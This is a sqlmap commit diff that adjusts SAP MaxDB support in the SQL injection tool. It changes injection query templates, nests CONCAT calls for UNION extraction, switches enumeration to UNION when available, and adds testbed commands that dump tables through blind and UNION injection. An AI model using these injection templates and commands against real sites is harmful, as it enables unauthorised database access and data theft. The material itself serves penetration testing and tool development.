Couple of fixes for SAP MaxDB

This commit is contained in:
Miroslav Stampar 2020-02-11 15:33:17 +01:00
parent 176e89d978
commit 0605f14d87
7 changed files with 43 additions and 12 deletions

View File

@ -127,6 +127,7 @@
<error regexp="SQL error.*?POS([0-9]+)"/> <error regexp="SQL error.*?POS([0-9]+)"/>
<error regexp="Warning.*?\Wmaxdb_"/> <error regexp="Warning.*?\Wmaxdb_"/>
<error regexp="DriverSapDB"/> <error regexp="DriverSapDB"/>
<error regexp="-3014.*?Invalid end of SQL statement"/>
<error regexp="com\.sap\.dbtech\.jdbc"/> <error regexp="com\.sap\.dbtech\.jdbc"/>
</dbms> </dbms>

View File

@ -490,12 +490,12 @@
<comment query="--" query2="#"/> <comment query="--" query2="#"/>
<substring query="SUBSTR((%s),%d,%d)"/> <substring query="SUBSTR((%s),%d,%d)"/>
<concatenate query="CONCAT(%s,%s)"/> <concatenate query="CONCAT(%s,%s)"/>
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/> <case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END) FROM VERSIONS"/>
<hex query="HEX(%s)"/> <hex query="HEX(%s)"/>
<inference query="SUBSTR((%s),%d,1)>'%c'"/> <inference query="SUBSTR((%s),%d,1)>'%c'"/>
<banner query="SELECT ID FROM SYSINFO.VERSION"/> <banner query="SELECT ID FROM SYSINFO.VERSION"/>
<current_user query="SELECT USER() FROM DUAL"/> <current_user query="SELECT USER() FROM VERSIONS"/>
<current_db query="SELECT DATABASE() FROM DUAL"/> <current_db query="SELECT USER() FROM VERSIONS"/>
<hostname/> <hostname/>
<table_comment/> <table_comment/>
<column_comment/> <column_comment/>

View File

@ -720,21 +720,43 @@ class Agent(object):
warnMsg = "applying generic concatenation (CONCAT)" warnMsg = "applying generic concatenation (CONCAT)"
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
if FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms()):
_ = re.sub(r"(?i)%s\Z" % re.escape(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]), "", concatenatedQuery)
if _ != concatenatedQuery:
concatenatedQuery = _
fieldsSelectFrom = None
if fieldsExists: if fieldsExists:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1) concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
concatenatedQuery += "),'%s')" % kb.chars.stop concatenatedQuery += "),'%s')" % kb.chars.stop
elif fieldsSelectCase: elif fieldsSelectCase:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1) concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
concatenatedQuery += "),'%s')" % kb.chars.stop concatenatedQuery += "),'%s')" % kb.chars.stop
elif fieldsSelectFrom: elif fieldsSelectFrom or fieldsSelect:
fromTable = ""
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM ")) _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
concatenatedQuery = "%s),'%s')%s" % (concatenatedQuery[:_].replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1), kb.chars.stop, concatenatedQuery[_:]) if _:
concatenatedQuery, fromTable = concatenatedQuery[:_], concatenatedQuery[_:]
concatenatedQuery = re.sub(r"(?i)\ASELECT ", "", concatenatedQuery)
replacement = "'%s',%s,'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
chars = [_ for _ in replacement]
count = 0
for index in zeroDepthSearch(replacement, ',')[1:]:
chars[index] = "),"
count += 1
replacement = "CONCAT(%s%s)" % ("CONCAT(" * count, "".join(chars))
concatenatedQuery = "%s%s" % (replacement, fromTable)
elif fieldsSelect: elif fieldsSelect:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1) concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
concatenatedQuery += "),'%s')" % kb.chars.stop concatenatedQuery += "),'%s')" % kb.chars.stop
elif fieldsNoSelect: elif fieldsNoSelect:
concatenatedQuery = "CONCAT(CONCAT('%s',%s),'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop) concatenatedQuery = "CONCAT(CONCAT('%s',%s),'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
return concatenatedQuery return concatenatedQuery
def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None): def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None):

View File

@ -164,11 +164,9 @@ class Dump(object):
self.string("current user", data, content_type=CONTENT_TYPE.CURRENT_USER) self.string("current user", data, content_type=CONTENT_TYPE.CURRENT_USER)
def currentDb(self, data): def currentDb(self, data):
if Backend.isDbms(DBMS.MAXDB): if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB):
self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB):
self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.DB2, DBMS.MIMERSQL): elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.DB2, DBMS.MIMERSQL, DBMS.MAXDB):
self.string("current user (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) self.string("current user (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
else: else:
self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB) self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB)

View File

@ -18,7 +18,7 @@ from lib.core.enums import OS
from thirdparty.six import unichr as _unichr from thirdparty.six import unichr as _unichr
# sqlmap version (<major>.<minor>.<month>.<monthly commit>) # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.4.2.30" VERSION = "1.4.2.31"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

View File

@ -143,6 +143,11 @@ def bedTest():
""" """
TESTS = ( TESTS = (
# MaxDB
("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("Kernel____7.9.10___Build_003-123-265-343", "Database: TESTB", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'SAP MaxDB'", "the back-end DBMS is SAP MaxDB", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("Kernel____7.9.10___Build_003-123-265-343", "Database: TESTDB", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is SAP MaxDB", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Kernel____7.9.10___Build_003-123-265-343", "current user (equivalent to database on Altibase): 'SYS'", "current user: 'DBADMIN'", "[1 column]", "| SURNAME | VARCHAR |")),
# Informix # Informix
("-u 'http://testbed/informix/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("IBM Informix Dynamic Server Version 14.10.FC2DE", "Database: testdb", "Table: users", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'Informix'", "the back-end DBMS is Informix", "current user is DBA: True", ": 'foobar'")), ("-u 'http://testbed/informix/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("IBM Informix Dynamic Server Version 14.10.FC2DE", "Database: testdb", "Table: users", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'Informix'", "the back-end DBMS is Informix", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/informix/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("IBM Informix Dynamic Server Version 14.10.FC2DE", "current database: 'testdb'", "current user: 'testuser'", "[1 column]", "| surname | varchar |")), ("-u 'http://testbed/informix/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("IBM Informix Dynamic Server Version 14.10.FC2DE", "current database: 'testdb'", "current user: 'testuser'", "[1 column]", "| surname | varchar |")),

View File

@ -8,6 +8,7 @@ See the file 'LICENSE' for copying permission
import re import re
from lib.core.common import isListLike from lib.core.common import isListLike
from lib.core.common import isTechniqueAvailable
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import safeSQLIdentificatorNaming
from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.common import unsafeSQLIdentificatorNaming
@ -17,6 +18,7 @@ from lib.core.data import logger
from lib.core.data import paths from lib.core.data import paths
from lib.core.data import queries from lib.core.data import queries
from lib.core.enums import DBMS from lib.core.enums import DBMS
from lib.core.enums import PAYLOAD
from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapMissingMandatoryOptionException
from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapNoneDataException
from lib.core.exception import SqlmapUserQuitException from lib.core.exception import SqlmapUserQuitException
@ -83,7 +85,8 @@ class Enumeration(GenericEnumeration):
for db in dbs: for db in dbs:
query = rootQuery.inband.query % (("'%s'" % db) if db != "USER" else 'USER') query = rootQuery.inband.query % (("'%s'" % db) if db != "USER" else 'USER')
retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.tablename' % kb.aliasName], blind=True) blind = not isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION)
retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.tablename' % kb.aliasName], blind=blind)
if retVal: if retVal:
for table in list(retVal[0].values())[0]: for table in list(retVal[0].values())[0]:
@ -204,8 +207,10 @@ class Enumeration(GenericEnumeration):
infoMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db) infoMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg) logger.info(infoMsg)
blind = not isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION)
query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), ("'%s'" % unsafeSQLIdentificatorNaming(conf.db)) if unsafeSQLIdentificatorNaming(conf.db) != "USER" else 'USER') query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), ("'%s'" % unsafeSQLIdentificatorNaming(conf.db)) if unsafeSQLIdentificatorNaming(conf.db) != "USER" else 'USER')
retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.columnname' % kb.aliasName, '%s.datatype' % kb.aliasName, '%s.len' % kb.aliasName], blind=True) retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.columnname' % kb.aliasName, '%s.datatype' % kb.aliasName, '%s.len' % kb.aliasName], blind=blind)
if retVal: if retVal:
table = {} table = {}